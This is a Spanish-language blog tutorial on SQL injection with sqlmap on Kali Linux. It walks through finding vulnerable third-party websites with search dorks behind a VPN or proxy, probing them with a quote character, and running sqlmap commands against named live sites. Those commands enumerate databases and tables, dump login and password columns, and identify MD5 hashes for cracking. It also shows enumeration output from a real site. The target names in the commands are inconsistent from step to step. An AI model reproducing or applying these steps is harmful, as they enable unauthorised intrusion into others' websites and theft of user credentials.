injection SQL en Kali linux con SQLMAP

Antes que comience mis exámenes y la guerra batman contra superman he decido hacer un tutorial sobre SQL, ya que anteriormente he hecho tutorial de DORK lo encontrás aquí.

Alguna veces han creado alguna base de datos? Bueno es casi parecido la funcionalidad que tiene esa herramienta pero la única diferencia que tenemos es que no tenemos acceso a la base de datos ni gráfico para verlo más cómodamente. Solo tenemos una vulnerabilidad en el cual lo vamos a manejar o acceder por medio de la terminal y comandos. Que tiene una base de datos? Tiene un usuario de la base de dato creada, tabla, columna, etc etc…

phpmyadmin_04

Bueno puedes investigar más sobre las bases de datos de un servidor. En google o creando tu propio base de datos en tu sistema de Kali Linux.

Como mencione anteriormente vamos encontrar primero una vulnerabilidad  SQL en el cual existe DORK o puedes encontrarlo escaneando un sitio web.

En mi caso usaremos un DORK, aclaro llegaremos a usar la herramienta pero no romperemos ninguna web, por cuestión que algunos dork están parchados o solo oculto el admin y la contraseña.

Screenshot from 2016-04-13 13-33-28

Buscamos el DORK en mi caso recomiendo no GOOGLE sino BING usando VPN o PROXY para encontrar más vulnerabilidades extranjeras.

Ya encontré una pero la vamos a ver que sorpresa nos ofrece esa vulnerabilidad.

Screenshot from 2016-04-13 13-30-51

Una vulnerabilidad SQL puedes agregar [‘] Esa comillas te dirá todo pero te lanza ese error del servidor en cual antiguamente los expertos lo hacen manualmente, yo empece haciendo manualmente en el cual no es tan fácil, con el tiempo aparecieron nuevas herramientas donde te manejabas fácilmente, como en windows apareció HAVIJ  una herramienta en cual te ofrece el escaneo de la vulnerabilidad y te ofrece un escaneo de su panel de control con algunas extensiones de desencriptación MD5. Ahora Kali Linux tambien ofrece una herramienta para escanear esas vulnerabilidades para acceder a la base de datos. Su herramienta se llama SQLMAP

Vemos que es SQLMAP?

sqlmap es una herramienta de pruebas de penetración de código abierto que automatiza el proceso de detectar y explotar los errores de inyección SQL y  falla de los servidores de bases de datos. Viene con un potente motor de detección, muchas características para el probador de penetración máxima y una amplia gama de interruptores que duran de toma de huellas dactilares de base de datos, ir a buscar a través de datos de la base de datos, para acceder al sistema de archivos subyacente y ejecutar comandos en el sistema operativo a través de fuera conexiones de banda.

USANDO ESTA VULNERABILIDAD

http://www.coconatsgarden.com/catalogo_detalle.php?id=101
http://www.coconatsgarden.com/catalogo_detalle.php?id=101'

Así se ven los errores

Microsoft SQL Server

Server Error in ‘/’ Application. Unclosed quotation mark before the character string ‘attack;’.

OTRO.

Exception Details: System.Data.SqlClient.SqlException: Unclosed quotation mark before the character string ‘attack;’.

MySQL Errors

Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /var/www/myawesomestore.com/buystuff.php on line 12

Error: You have an error in your SQL syntax: check the manual that corresponds to your MySQL server version for the right syntax to use near ‘’’ at line 12

Oracle Errors

java.sql.SQLException: ORA-00933: SQL command not properly ended at oracle.jdbc.dbaaccess.DBError.throwSqlException(DBError.java:180) at oracle.jdbc.ttc7.TTIoer.processError(TTIoer.java:208)

Error: SQLExceptionjava.sql.SQLException: ORA-01756: quoted string not properly terminated

PostgreSQL Errors

Query failed: ERROR: unterminated quoted string at or near “‘’’”

Para ver y encontrar la base de datos.

sqlmap -h

Screenshot from 2016-04-13 14-23-07
Ahora empezaremos.

 sqlmap -u http://www.squiglysplayhouse.com/BrainTeasers/bt.php?id=101 --dbs

Si vieron que cambio la URL es porque la anterior simplemente estaba parchada.
Screenshot from 2016-04-13 14-25-22
Y ESTO ES EL RESULTADO.
Screenshot from 2016-04-13 14-27-15

[14:27:12] [INFO] the back-end DBMS is MySQL
web application technology: Apache 2.4.16, PHP 5.5.30
back-end DBMS: MySQL 5.0.12
[14:27:12] [INFO] fetching database names
[14:27:12] [INFO] the SQL query used returns 2 entries
[14:27:12] [INFO] resumed: information_schema
[14:27:12] [INFO] resumed: squiglys_myDB
available databases [2]:                                                                                       
[*] information_schema
[*] squiglys_myDB

En el cual vemos que “squiglys_myDB” es el nombre de la base de dato creada.
sqlmap = Nombre de sqlmap
-u = Target URL (e.g. “http://www.sqldummywebsite.com/cgi-bin/item.cgi?item_id=15)
--dbs = Enumerate DBMS databases
Ahora vamos a ver sus tablas del nombre de la base de datos.

sqlmap -u http://www.sqldummywebsite.com/cgi-bin/item.cgi?item_id=15 -D squiglys_myDB --tables

Screenshot from 2016-04-13 14-36-28

El resultado de la table es:
Screenshot from 2016-04-13 14-36-22

En el cual ninguna tabla muestra donde vamos encontrar el usuario pero sigamos mostrando la herramienta.

sqlmap -u http://www.sqldummywebsite.com/cgi-bin/item.cgi?item_id=15 -D sqldummywebsite -T user_info --columns

Les explico rápidamente -D es el nombre de la base de datos –dbs, -T es la tabla Pero recuerda que estan abreviadas y llevan mayúscula.
Screenshot from 2016-04-13 14-47-58
Pero el Resultado ya es muy diferente. Lo que saben crear base de datos se daran cuenta que le mostrará el tipo y el texto creado en la base de datos.
Screenshot from 2016-04-13 14-48-01
Sigamos.revisando la base de datos.

sqlmap -u http://www.sqldummywebsite.com/cgi-bin/item.cgi?item_id=15 -D sqldummywebsite -T user_info -C user_login --dump

Como vemos -C se convirtió pero recuerden que es la columna.

Screenshot from 2016-04-13 14-53-35

EL RESULTADO ES SI ENCUENTRAS EL LOGIN BUENO VAS A ENCONTRAR EL USUIARIO Y LA CONTRASEÑA EN MI CASO ENCONTRÉ UNA CONVERSACIÓN.
Screenshot from 2016-04-13 14-56-05
En algunas base de datos confunde y uno tiene que andar mirando por todos lados para encontrar el usuario y la contraseña En otros caso las bases de datos ellas mismas te dicen “HEY cread aquí esta el login y la contraseña.”

sqlmap -u http://www.sqldummywebsite.com/cgi-bin/item.cgi?item_id=15 -D sqldummywebsite -T user_info -C user_password --dump

Si ustedes localizaron el usuario y la contraseña rápidamente se darán cuenta que esta encriptada.
Existe paginas para desencriptar porque las contraseñas lo hacen con MD5.
pero existe una herramienta en Kali Linux para hacer eso.

hash-identifier

Screenshot from 2016-04-13 15-03-45